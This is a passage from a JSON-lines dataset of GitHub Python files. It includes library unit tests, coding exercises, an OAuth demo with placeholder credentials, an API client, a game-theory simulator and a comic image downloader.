}\n","repo_name":"SoftwareQuTech/CQC-Python","sub_path":"cqc/pythonLib/cqc_handler.py","file_name":"cqc_handler.py","file_ext":"py","file_size_in_byte":30664,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"}
+{"seq_id":"22505473736","text":"# Q1.\nclass Rectangle :\n    width = height = 0\n\n    def __init__(self, w, h):\n        self.width = w\n        self.height = h\n    def area_calc(self):\n        area = self.width * self.height\n        return area\n    def circum_calc(self):\n        circum = (self.width + self.height) * 2\n        return circum\n\nprint(\"사각형의 넓이와 둘레를 계산합니다.\")\n\nw = int(input('사각형의 가로 입력 : '))\nh = int(input('사각형의 세로 입력 : '))\n\nprint('-'*25)\nrec = Rectangle(w, h)\narea = rec.area_calc()\nprint(f'사각형의 넓이 : {area}')\n\ncircum = rec.circum_calc()\nprint(f'사각형의 둘레 : {circum}')\nprint('-'*25)\n\n\n# Q2.\nclass Scattering :\n    x = [5, 9, 1, 7, 4, 6]\n    #def __init__(self):\n","repo_name":"dbparkJ/DataScience","sub_path":"PythonBasic/Chapter06/book_q.py","file_name":"book_q.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22067880675","text":"import unittest\nfrom pyntree import Node\nfrom pyntree.file import EXTENSIONS\nimport os\nfrom datetime import datetime as dt\n\nos.chdir(\"..\")\n\nBASIC_FILES = [\n    'tests/sample.txt',\n    {'a': 1, 'b': {'c': 2}},\n    \"tests/sample.pyn\",\n    \"tests/sample.pyn.gz\",\n    \"tests/sample.json\"\n]\n\nENCRYPTED_FILES = [\n    \"tests/encrypted.pyn\",\n    \"tests/encrypted.json\",\n    \"tests/encrypted.txt\",\n    \"tests/encrypted.zip\"\n]\n\nADVANCED_FILES = [  # These hold different data, or load in different ways\n    \"tests/node-in-node.pyn\"\n]\n\n\n# noinspection PyMethodMayBeStatic,PyUnusedLocal\nclass FileLoading(unittest.TestCase):\n    def test_basic_load(self):\n        for item in BASIC_FILES:\n            with self.subTest(msg=str(item)):\n                db = Node(item)\n\n    def test_blank_load(self):\n        db = Node()\n        self.assertEqual(db(), {})\n\n    def test_serialized_load(self):\n        db = Node('tests/serialized.pyn')\n        self.assertTrue(True)\n\n    def test_reload_from_file(self):\n        db = Node('tests/sample_reloadme.txt')\n        with open('tests/sample_reloadme.txt', 'w') as file:\n            file.write(\"{'a': 2}\")\n            file.truncate()\n        db.file.reload()\n        self.assertEqual(db(), {'a': 2})\n        with open('tests/sample_reloadme.txt', 'w') as file:  # Reset\n            file.write(\"{'a': 1}\")\n            file.truncate()\n\n    def test_load_new_file(self):\n        for ext in EXTENSIONS:\n            with self.subTest(msg=ext):\n                db = Node(f'tests/newdb.{ext}')\n                os.remove(f'tests/newdb.{ext}')\n\n    def test_encryption(self):\n        for item in ENCRYPTED_FILES:\n            with self.subTest(msg=str(item)):\n                db = Node(item, password=\"testing\")\n\n    def test_encryption_newfile(self):\n        db = Node('tests/newdb.enc', filetype='pyn', password='pyntree', salt=os.urandom(32))\n        os.remove('tests/newdb.enc')\n\n\nclass FileReading(unittest.TestCase):\n    def setUp(self):\n        self.databases = [Node(i) for i in BASIC_FILES]\n        self.databases.append(Node(ADVANCED_FILES[0]).data())\n        self.databases += [Node(i, password='testing') for i in ENCRYPTED_FILES]\n\n    def test_layer_0(self):\n        for db in self.databases:\n            with self.subTest(msg=db.file.filetype):\n                self.assertEqual(db(), {'a': 1, 'b': {'c': 2}})\n\n    def test_layer_1(self):\n        for db in self.databases:\n            with self.subTest(msg=db.file.filetype):\n                self.assertEqual(db.a(), 1)\n                self.assertEqual(db.b(), {'c': 2})\n\n    def test_layer_2(self):\n        for db in self.databases:\n            with self.subTest(msg=db.file.filetype):\n                self.assertEqual(db.b.c(), 2)\n\n    def test_star_args(self):\n        db = Node(BASIC_FILES[0])\n        self.assertEqual(str(db.get('a', 'b')), \"[1, Node({'c': 2})]\")  # str(list) -> list(*repr(item)) for some reason\n\n    def test_serialized_read(self):\n        db = Node('tests/serialized.pyn')\n        self.assertEqual(db.time(), dt(2023, 3, 6, 21, 2, 8, 550653))\n\n\nclass FileModification(unittest.TestCase):\n    def test_layer_0(self):\n        db = Node({})\n        db.set('a', 1)\n        self.assertEqual(db.a(), 1)\n\n    def test_layer_1(self):\n        db = Node({'a': {}})\n        db.a.set('b', {})\n        self.assertEqual(db.a.b(), {})\n\n    def test_layer_2(self):\n        db = Node({'a': {'b': {}}})\n        db.a.b.set('c', 3)\n        self.assertEqual(db.a.b.c(), 3)\n\n    def test_star_args(self):\n        db = Node({'a': 1, 'b': 15})\n        with self.subTest(msg=\"Without creation\"):\n            db.set('a', 'b', 2)\n            self.assertEqual(db.a(), 2)\n            self.assertEqual(db.b(), 2)\n        with self.subTest(msg=\"With creation\"):\n            db.set('a', 'b', 'c', True)\n            for item in 'abc':\n                self.assertTrue(db.get(item)())\n\n    def test_alternate_set(self):\n        db = Node({})\n        db.z = 1\n        # noinspection PyCallingNonCallable\n        self.assertEqual(db.z(), 1)\n\n\n# noinspection PyMethodMayBeStatic\nclass FileSaving(unittest.TestCase):\n    def setUp(self):\n        self.filetypes = EXTENSIONS.keys()\n\n    def test_save(self):\n        for ext in self.filetypes:\n            with self.subTest(msg=ext):\n                db = Node({'a': 1, 'b': {'c': 2}})\n                db.file.switch_to_file('tests/testing_output.' + ext)\n                db.save()\n                self.assertEqual(Node('tests/testing_output.' + ext)(), db())\n                os.remove('tests/testing_output.' + ext)\n\n    def test_serialized_save(self):\n        db = Node({'time': dt.now()})\n        db.save('tests/testing_serialization.pyn')\n        os.remove('tests/testing_serialization.pyn')\n        self.assertTrue(True)\n\n    def test_encrypted_save(self):\n        for ext in EXTENSIONS:\n            with self.subTest(msg=ext):\n                db = Node({'a': 1, 'b': {'c': 2}}, password='testing')\n                db.save(f'tests/newdb.{ext}')\n                os.remove(f'tests/newdb.{ext}')\n\n    def test_encrypted_save_method(self):\n        Node({'a': 1}).save('tests/newdb.pyn', password='testing')\n        Node('tests/newdb.pyn', password='testing')  # Attempt load to verify a proper save\n        os.remove('tests/newdb.pyn')\n\n    def test_save_to_alternate_file(self):\n        # Initial data\n        db = Node({'a': 1, 'b': {'c': 2}})\n        db.switch_to_file('tests/testing_output.txt')\n        db.save()\n        del db\n        # Overwrite, but maintain original file object\n        db = Node({'n': 1, 'b': {'c': 2}})\n        db.switch_to_file('tests/testing_output_2.pyn')\n        db.save(filename='tests/testing_output.txt')\n        db.save()\n        self.assertEqual(Node(\"tests/testing_output.txt\")(), {'n': 1, 'b': {'c': 2}})\n        self.assertEqual(Node(\"tests/testing_output_2.pyn\")(), {'n': 1, 'b': {'c': 2}})\n        os.remove(\"tests/testing_output.txt\")\n        os.remove(\"tests/testing_output_2.pyn\")\n\n    def test_dictionary_filename(self):\n        db = Node({'a': 'b'})\n        db.save(filename='tests/testing_savedict.json')\n        self.assertEqual(Node('tests/testing_savedict.json')(), {'a': 'b'})\n        os.remove('tests/testing_savedict.json')\n\n    def test_dictionary_filename_alt(self):\n        db = Node({'a': 'b'})\n        db.switch_to_file('tests/testing_savedict.json')\n        db.save()\n        self.assertEqual(Node('tests/testing_savedict.json')(), {'a': 'b'})\n        os.remove('tests/testing_savedict.json')\n\n    def test_node_in_node(self):\n        db = Node({'a': Node()})\n        db.save('tests/testing_save_NiN.pyn')\n        os.remove('tests/testing_save_NiN.pyn')\n\n    def test_save_after_password_set(self):\n        db = Node({'a': 'b'})\n        db.file.password = 'testing'\n        db.save('tests/testing_encrypted_setpwd.pyn')\n        self.assertEqual(Node('tests/testing_encrypted_setpwd.pyn', password='testing')(), {'a': 'b'})\n        os.remove('tests/testing_encrypted_setpwd.pyn')\n\n    def test_save_after_password_change(self):\n        db = Node('tests/testing_encrypted_changepwd.pyn', password='testing1')\n        db.a = 'b'\n        db.file.password = 'testing2'\n        db.save('tests/testing_encrypted_changepwd.pyn')\n        self.assertEqual(Node('tests/testing_encrypted_changepwd.pyn', password='testing2')(), {'a': 'b'})\n        os.remove('tests/testing_encrypted_changepwd.pyn')\n\n\nclass DeletionTests(unittest.TestCase):\n    def test_layer_0(self):\n        db = Node({'a': {'b': {'c': 'd'}}, 'b': \"test\"})\n        db.delete()\n        self.assertEqual(db(), {})\n\n    def test_layer_1(self):\n        db = Node({'a': {'b': {'c': 'd'}}, 'b': \"test\"})\n        db.delete('a')\n        self.assertEqual(db(), {'b': 'test'})\n\n    def test_layer_1_alternate(self):\n        db = Node({'a': {'b': {'c': 'd'}}, 'b': \"test\"})\n        db.a.delete()\n        self.assertEqual(db(), {\"b\": \"test\"})\n\n    def test_layer_2(self):\n        db = Node({'a': {'b': {'c': 'd'}}, 'b': \"test\"})\n        db.a.delete('b')\n        self.assertEqual(db(), {'a': {}, 'b': \"test\"})\n\n    def test_layer_2_alternate(self):\n        db = Node({'a': {'b': {'c': 'd'}}, 'b': \"test\"})\n        db.a.b.delete()\n        # noinspection PyCallingNonCallable\n        self.assertEqual(db(), {'a': {}, 'b': \"test\"})\n\n    def test_star_args(self):\n        db = Node({'a': '', 'b': '', 'c': ''})\n        db.delete(*'abc')\n        self.assertEqual(db(), {})\n\n\nclass FileScanningTests(unittest.TestCase):\n    def setUp(self):\n        self.db = Node({\"val1\": 'h', \"val2\": 'b'})\n\n    def test_has(self):\n        self.assertTrue(self.db.has(\"val1\"))\n\n    def test_has_star_args(self):\n        self.assertTrue(self.db.has(\"val1\", \"val2\"))\n\n    def test_values(self):\n        self.assertEqual(self.db._values, [\"val1\", \"val2\"])\n\n    def test__str__(self):\n        self.assertEqual(str(self.db), str({\"val1\": 'h', \"val2\": 'b'}))\n\n    def test__str__final(self):\n        self.assertEqual(str(self.db.val1), \"h\")\n\n    def test__repr__(self):\n        self.assertEqual(repr(self.db), \"Node(\" + str({\"val1\": 'h', \"val2\": 'b'}) + \")\")\n\n    def test__repr__final(self):\n        self.assertEqual(repr(self.db.val1), \"'h'\")\n\n    def test_name_layer_0_data(self):\n        self.assertEqual(self.db._name, 'None')\n\n    def test_name_layer_0_file(self):\n        self.assertEqual(Node('tests/sample.txt')._name, 'tests/sample.txt')\n\n    def test_name_layer_1(self):\n        self.assertEqual(self.db.val1._name, 'val1')\n\n    def test_get_children(self):\n        self.assertEqual(self.db._children[0](), 'h')\n\n    def test_where(self):\n        db = Node({\n            \"a\": {\n                \"b\": 2\n            },\n            \"b\": {\n                \"b\": 2\n            },\n            \"c\": {\n                \"b\": 3\n            }\n        })\n        matches = db.where(b=2)\n        self.assertEqual(len(matches), 2)\n        self.assertTrue(type(matches[0]) is Node)\n        self.assertEqual(str(matches[0]), str({\"b\": 2}))\n\n    def test_containing(self):\n        db = Node({\n            \"a\": {\n                \"h\": 2\n            },\n            \"b\": {\n                \"b\": 2\n            },\n            \"c\": {\n                \"b\": 3\n            }\n        })\n        matches = db.containing('b')\n        self.assertEqual(len(matches), 2)\n        self.assertTrue(type(matches[0]) is Node)\n        self.assertEqual(str(matches[0]), str({\"b\": 2}))\n\n    def test_getdict(self):\n        db = Node({'a': {'b': {'c': 1}}})\n        self.assertEqual(str(dict(db)), str({'a': {'b': {'c': 1}}}))\n\n\n# noinspection PyCallingNonCallable\nclass ArithmeticTests(unittest.TestCase):\n    def test_iadd_int(self):\n        db = Node()\n        db.a = 1\n        db.a += 1\n        self.assertEqual(db.a(), 2)\n\n    def test_iadd_str(self):\n        db = Node()\n        db.a = 'a'\n        db.a += 'bc'\n        self.assertEqual(db.a(), 'abc')\n\n    def test_isub_int(self):\n        db = Node()\n        db.a = 1\n        db.a -= 1\n        self.assertEqual(db.a(), 0)\n\n    def test_imul_int(self):\n        db = Node()\n        db.a = 2\n        db.a *= 3\n        self.assertEqual(db.a(), 6)\n\n    def test_imul_str(self):\n        db = Node()\n        db.a = 'a'\n        db.a *= 3\n        self.assertEqual(db.a(), 'aaa')\n\n    def test_cmp(self):\n        db = Node()\n        db.a = 1\n        db.b = 2\n        self.assertTrue(db.a < db.b)\n        self.assertTrue(db.a <= db.b)\n        self.assertFalse(db.a > db.b)\n        self.assertFalse(db.a >= db.b)\n        self.assertFalse(db.a == db.b)\n        self.assertTrue(db.a != db.b)\n\n    def test_nested_operations(self):\n        db = Node({'a': {'b': 1}})\n        db.a.b += 1\n        self.assertEqual(db.a.b(), 2)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"jvadair/pyntree","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":11669,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"15781364132","text":"files = ['input.txt', 'testInput.txt']\nwith open(files[0], 'r') as f:\n    line = f.readlines()[0]\n\nrow = int(line[line.index(\"row\")+4: line.index(\", column\")])\ncol = int(line[line.index(\"column\")+7: line.index(\".\\n\")])\n\nnumber = 20151125\nr,c = 1,1\n\nwhile True:\n    if r == row and c == col:\n        break\n    r -= 1\n    c += 1\n    if r == 0:\n        r = c\n        c = 1\n    number = (number * 252533) % 33554393\n\nprint(number)\n","repo_name":"nabihestefan/AdventOfCode","sub_path":"Python/2015/day25/day25.py","file_name":"day25.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28780323845","text":"class Solution:\r\n    def exist(self, board, word: str) -> bool:\r\n        for i in board:\r\n            i.insert(0, 0)\r\n            i.append(0)\r\n        board = [[0 for i in range(len(board[0]))]] + board + [[0 for i in range(len(board[0]))]]\r\n        start = []\r\n        for i in range(1, len(board) - 1):\r\n            for j in range(1, len(board[0]) - 1):\r\n                if word[0] == board[i][j]:\r\n                    start.append([i, j])\r\n        for i in start:\r\n            if self.search(board, word, i, 1, [i]):\r\n                return True\r\n        return False\r\n\r\n    def search(self, board, word, position, letter, path):\r\n        if letter == len(word):\r\n            return True\r\n        else:\r\n            for i in [[position[0], position[1] + 1], [position[0], position[1] - 1], [position[0] + 1, position[1]], [position[0] - 1, position[1]]]:\r\n                if board[i[0]][i[1]] == word[letter] and i not in path:\r\n                    if self.search(board, word, i, letter + 1, path+[i]):\r\n                        return True\r\n            return False\r\n\r\n\r\na = Solution()\r\ninp1 = [[\"C\",\"A\",\"A\"],[\"A\",\"A\",\"A\"],[\"B\",\"C\",\"D\"]]\r\ninp2 = 'CBD'\r\nprint(a.exist(inp1, inp2))\r\n","repo_name":"MinnanZhou/Leetcode","sub_path":"79.py","file_name":"79.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6783123227","text":"import cv2 as cv\n# colors \nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nMAGENTA = (255, 0, 255)\nGREEN = (0, 255, 0)\nCYAN = (255, 255, 0)\nGOLD = (0, 255, 215)\nYELLOW = (0, 255, 255)\nORANGE = (0, 165, 230)\n\n\ndef showText(image, text, position,  color, animateOnValue=None):\n    fonts = cv.FONT_HERSHEY_COMPLEX\n    x, y = position\n    # move the callout up little bit.\n    y = y - 20\n    # how much tick line should be, \n    lineThicknes = 30\n    offset = int(lineThicknes / 2)\n    center = int(offset / 2)\n    new_pos = (x, y + center)\n    lineLength = 229\n\n    newThickness = int(lineThicknes * 0.7)\n    \n    cv.line(image, (x, y), (x+lineLength, y), ORANGE, lineThicknes)\n    cv.line(image, (x, y), (x+lineLength, y), GREEN, newThickness)\n    if animateOnValue is not None:\n\n        cv.line(image, (x, y), (x+animateOnValue, y), WHITE, newThickness)\n    # cv.line(image, (x,y-11), (x+Distance_level, y-11), (GREEN), 18)\n    cv.putText(image, text, new_pos, fonts, 0.6, BLACK, 2)\n\n","repo_name":"Asadullah-Dal17/QR-detection-and-Distance-Estimation","sub_path":"betterLook.py","file_name":"betterLook.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"21"}
+{"seq_id":"38668249973","text":"#!/usr/bin/env python\nimport webapp2\nimport json\nimport logging\n\nfrom httplib2 import Http\nfrom urllib import urlencode\n\nCLIENT_ID = 'YOUR_CLIENT_ID'\nCLIENT_SECRET = 'YOUR_CLIENT_SECRET'\nREDIRECT_URI = 'https://<appengine_instance>.appspot.com/'\n#REDIRECT_URI = 'http://localhost:14084/'\n\nAUTH_URL = \t\"https://accounts.google.com/o/oauth2/auth?client_id=\" + CLIENT_ID +\"&response_type=code&redirect_uri=\" + REDIRECT_URI +\"&state=mysecurestate&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/plus.me%20https://www.googleapis.com/auth/drive\"\n\nclass MainHandler(webapp2.RequestHandler):\n  def get(self):\n    code = self.request.get('code', None)\n    if code is None:\n  \t  self.redirect(AUTH_URL)\n    else:\n  \t  h = Http()\n  \t  data = dict(code=code, client_id=CLIENT_ID, client_secret=CLIENT_SECRET,redirect_uri=REDIRECT_URI,grant_type=\"authorization_code\")\n  \t  resp, access_content = h.request('https://accounts.google.com/o/oauth2/token', 'POST', urlencode(data))\n  \t  \n  \t  #this call gets us email info. however, decrypting the ID_TOKEN would have done it too\n  \t  userinfo_endpoint = 'https://www.googleapis.com/oauth2/v3/userinfo' \n  \t  data = json.loads(access_content)\n  \t  headers = {'Authorization': 'Bearer ' + data['access_token']}\n  \t  resp, profile_content = h.request(userinfo_endpoint, 'GET', headers=headers)\n\n  \t  drive_endpoint = 'https://www.googleapis.com/drive/v2/files'\n  \t  resp, drive_content = h.request(drive_endpoint, 'GET', headers=headers)\n   \t  \n  \t  self.response.out.write(access_content+'<br><br>'+profile_content+'<br><br>')\n\n  \t  driveFiles = json.loads(drive_content)\n  \t  for file in driveFiles['items']:\n  \t  \tself.response.out.write('<p><img src=\\\"' + file['iconLink'] + '\\\"> '+ file['title'] + '</p>')\n\napp = webapp2.WSGIApplication([\n    ('/', MainHandler),\n], debug=True)\n","repo_name":"entaq/OAuth2Flows","sub_path":"ServerSide.py","file_name":"ServerSide.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"41247395156","text":"import os\nfrom dotenv import load_dotenv\nimport requests\nfrom typing import Optional, List, Tuple\n\n\nclass OMDBApi:\n\n    def __init__(self):\n        load_dotenv()\n        self.api_key = os.getenv(\"API_KEY\")\n        self.url = \"https://www.omdbapi.com\"\n\n    def _images_path(self, title: str) -> Optional[Tuple[str, str, str, str]]:\n        \"\"\"\n        Helper function to fetch data about an image and movie from the OMDB API.\n\n        Parameters:\n            title (str): The movie title.\n\n        Returns:\n            Optional[Tuple[str, str, str, str]]: A tuple containing the image URL (poster),\n                                                 release date, runtime, and plot description.\n        \"\"\"\n        params = {\n            \"apikey\": self.api_key,\n            \"t\": title\n        }\n\n        response = requests.get(self.url, params=params)\n        data = response.json()\n\n        if response.status_code == 200 and data.get(\"Poster\"):\n            # Extract release date, runtime, and plot from API data\n            released = data.get(\"Released\", \"\")\n            runtime = data.get(\"Runtime\", \"\")\n            plot = data.get(\"Plot\", \"\")\n            # Return the poster URL, release date, runtime, and plot description\n            return data[\"Poster\"], released, runtime, plot\n        else:\n            return None, \"\", \"\", \"\"\n\n    def get_movie_info(self, titles: List[str]) -> List[dict]:\n        \"\"\"\n        Get information about a movie from the OMDB API.\n\n        Parameters:\n            titles (List[str]): A list of movie titles.\n\n        Returns:\n            List[dict]: A list of dictionaries containing information about the movies,\n                        including title, poster, release date, runtime, and plot description.\n        \"\"\"\n        movie_info_list = []\n        for title in titles:\n            path, released, runtime, plot = self._images_path(title)  # Extract plot from the _images_path function\n            movie_info_list.append({\n                \"title\": title,\n                \"poster\": path,\n                \"released\": released,\n                \"runtime\": runtime,\n                \"plot\": plot\n            })\n        return movie_info_list\n\n    def get_posters(self, titles: List[str]) -> List[str]:\n        \"\"\"\n        Get image URLs (posters) for a list of movies.\n\n        Parameters:\n            titles (List[str]): A list of movie titles.\n\n        Returns:\n            List[str]: A list of image URLs (posters).\n        \"\"\"\n        posters = []\n        released_list = []  # Create a list to store movie release years\n        runtime_list = []  # Create a list to store movie runtimes\n        plot_list = []  # Create a list to store movie plot descriptions\n\n        for title in titles:\n            path, released, runtime, plot = self._images_path(title)\n            if path:  # If the image doesn't exist\n                posters.append(path)\n            else:\n                posters.append('assets//none.jpeg')  # Add a placeholder image\n            released_list.append(released)  # Add the movie release year to the list\n            runtime_list.append(runtime)  # Add the movie runtime to the list\n            plot_list.append(plot)  # Add the movie plot description to the list\n        return posters, released_list, runtime_list\n\n","repo_name":"AlexanderVeshniakov/Educational_project_11","sub_path":"src/api/omdb.py","file_name":"omdb.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40026786222","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nwith open('x_y.txt', 'r') as f: \n    lines = f.readlines()\nfor line in lines:  \n        x, y = line.split('=')[0], line.split('=')[1]\n        x, y = x.split(' '), y.split(' ')\n        x = [i for i in x if i]\n        y = [i for i in y if i]\n        x[0] = x[0][1:]\n        y[0] = y[0][1:]\n        x[-1] = x[-1][:-1]\n        y[-1] = y[-1][:-1]\n\n        x = [float(i) for i in x if i]\n        y = [float(i) for i in y if i]\n        \n        S=np.zeros(360, dtype='complex_')\n        for i in range(360):\n            for k in range(360):\n                a=x[k]\n                b=y[k]\n                tmp = ((-2j*np.pi*i*k)) /360\n                S[i] += (complex(a,b)) * np.exp(tmp)\n            S[i]=S[i]/360\n        G=np.zeros(360, dtype='complex_')\n        xfinal=np.zeros(360)\n        yfinal=np.zeros(360)\n        for i in range(360):\n            k=0\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=359\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=1\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=358\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=2\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=357\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=3\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=356\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=4\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=355\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            k=5\n            tmp = ((2j*np.pi*i*k)) /360\n            G[i]+=S[k]*np.exp(tmp)\n            xfinal[i]=np.real(G[i])\n            yfinal[i]=np.imag(G[i])\n\n        plt.plot(x,y,color=\"red\")\n        plt.show()    \n        plt.plot(xfinal,yfinal,color=\"green\")\n        plt.show()\n\n       \n        \n","repo_name":"StructuredProgramming/Fourier-Transform-on-Dataset","sub_path":"FourierDescriptors.py","file_name":"FourierDescriptors.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"32053440614","text":"\"\"\"Webassets configuration and handling\"\"\"\nimport os.path\n\nfrom flask import send_from_directory\nfrom flask_assets import Environment, Bundle\n# pylint: disable=no-name-in-module\nfrom pygments.formatters import HtmlFormatter\n\n\ndef _create_code_css(app):\n    \"\"\"\n    Creates the code.css file for code highlighting\n\n    This will be used to merge all the css in one file\n    \"\"\"\n    filename = os.path.join(app.static_folder, 'style', 'code.css')\n    with open(filename, 'w') as code_css:\n        css = HtmlFormatter(style='default').get_style_defs('.codehilite')\n        code_css.write(css)\n\n\ndef register_assets(app):\n    \"\"\"Register Webassets in the app\"\"\"\n    _create_code_css(app)\n\n    assets = Environment(app)\n    bundle = Bundle('style/main.less', 'style/code.css',\n                    filters='less,cleancss',\n                    output='css/main.%(version)s.css')\n    assets.register('css', bundle)\n    app.add_url_rule(\n        '/static/fonts/bootstrap/<path:filename>',\n        'bootstrap_fonts',\n        bootstrap_fonts)\n\n\ndef bootstrap_fonts(filename):\n    \"Sends bootstrap font files\"\n    # It will do: os.path.join(current_app.root_path, filename)\n    return send_from_directory(\n        '../node_modules/bootstrap/fonts/', filename)\n","repo_name":"graffic/javiergr","sub_path":"javiergr/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"34290595079","text":"from Environment import RandomMG\nfrom Agent import PAgent\nimport numpy as np\nimport util\nimport matplotlib.pyplot as plt\nimport os\n\n\n\nclass GameSimulator:\n    def __init__(self, env,  T):\n        self.env = env\n        self.T = T\n        self.gamma = self.env.gamma\n\n        eta = 0.125 / np.sqrt(self.env.A + self.env.B)\n        self.P1 = PAgent(self.env.S, self.env.A, self.gamma, eta)\n        self.P2 = PAgent(self.env.S, self.env.B, self.gamma, eta)\n        if not os.path.exists('figure/tmp'):\n            os.makedirs('figure/tmp')\n\n    def simulate_full_info(self):\n        print(\"=== offline solving the game ===\")\n        self.env.solve(eps=0.001, max_iter=np.inf, verbose=True)\n        self.P1.reset()\n        self.P2.reset()\n\n        for t in range(self.T): \n            x = self.P1.get_policy()\n            y = self.P2.get_policy()\n            ry = np.einsum('sab,sb->sa',  self.env.r, y)    \n            py = np.einsum('sabq,sb->saq', self.env.p, y)\n            rx = np.einsum('sab,sa->sb', self.env.r, x)\n            px = np.einsum('sabq,sa->sbq', self.env.p, x)\n            self.P1.update(ry, py)\n            self.P2.update(-rx, px)\n            \n            if t % 100 == 0: \n                self._output_gap(t)\n            if t % 10 == 0:\n                self._output_figure(t)\n            \n    def _output_gap(self, t): \n        x = self.P1.get_policy()\n        y = self.P2.get_policy()\n        gap, maxgap_state = util.MGdualGap(self.env.r, self.env.p, self.gamma, x, y, eps=0.001, max_iter=np.inf)\n        print(\"  t=\",t, \"  gap=\", gap, \"  maxgap_state=\", maxgap_state)\n       \n    def _output_figure(self, t): \n        s = 0\n        # calculate Q of the current policies\n        x = self.P1.get_policy()\n        xs = x[s,:]\n        y = self.P2.get_policy()\n        ys = y[s,:]\n\n        V = util.MGVI(task='eval', r=self.env.r, p=self.env.p, gamma=self.gamma, \n                x=x, y=y, eps=0.001, max_iter=np.inf)\n        Q = util.Q_from_V(r=self.env.r, p=self.env.p, V=V, gamma=self.gamma)\n        _, xstar, ystar, _ = util.solveGame(Q[s,:,:], eps=0.001, max_iter=np.inf, \n                x_init=xs, y_init=ys)\n\n        plt.figure(t)\n        plt.scatter(xstar[0], ystar[0], c='r') \n        plt.scatter(xs[0], ys[0], c='b')\n        plt.scatter(self.env.x[s,0], self.env.y[s,0], c='g')\n        plt.xlim((0,1))\n        plt.ylim((0,1))\n\n        plt.savefig('figure/tmp/%03d.png' % (t/10))\n        plt.close(t)\n\n\n\n","repo_name":"bahh723/competitive-markov-game","sub_path":"GameSimulator.py","file_name":"GameSimulator.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1740667119","text":"# Considring you have a list with 128 names and you are doing a binary search. \n# What would be the maximum number of steps you would take to find the desired name?\n\ndef binary_search(list, item):\n    low = 0 \n    high = len(list) - 1\n    while low <= high:\n        mid = (low + high) // 2\n        guess = list[mid]\n        if guess == item:\n            return mid\n        if guess > item:\n            high = mid - 1\n        else: \n            low = mid + 1\n    return None  \n\nmy_array = [None for _ in range(128)]\nmy_array = [None] * 128\n\nfor i in range(len(my_array)):\n    my_array[i] = i\n\nmy_list = my_array\n\nprint (binary_search(my_list, 54))","repo_name":"londonplayer/Python","sub_path":"algorithms/excercises/binary_search_1.1.py","file_name":"binary_search_1.1.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"38262928836","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom urllib2.request import urlretrieve\nimport os\n\ndef image_down(start_img, stop_img):\n    for numb in range(start_img, stop_img):\n        url = 'http://xkcd.com/{}/'.format(numb)\n        url_get = requests.get(url)\n        soup = BeautifulSoup(url_get.content, 'html.parser')\n        link = soup.find('div', id='comic').find('img').get('src')\n        link = link.replace('//', 'http://')\n        img_name = os.path.basename(link)\n        try:\n            urlretrieve(link, img_name)\n        except:\n            # Just want images don't care about errors\n            pass\n\nif __name__ == '__main__':\n    start_img = 1\n    stop_img = 20\n    image_down(start_img, stop_img)\n","repo_name":"veyronvenom1200/code","sub_path":"python/image_download.py","file_name":"image_download.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
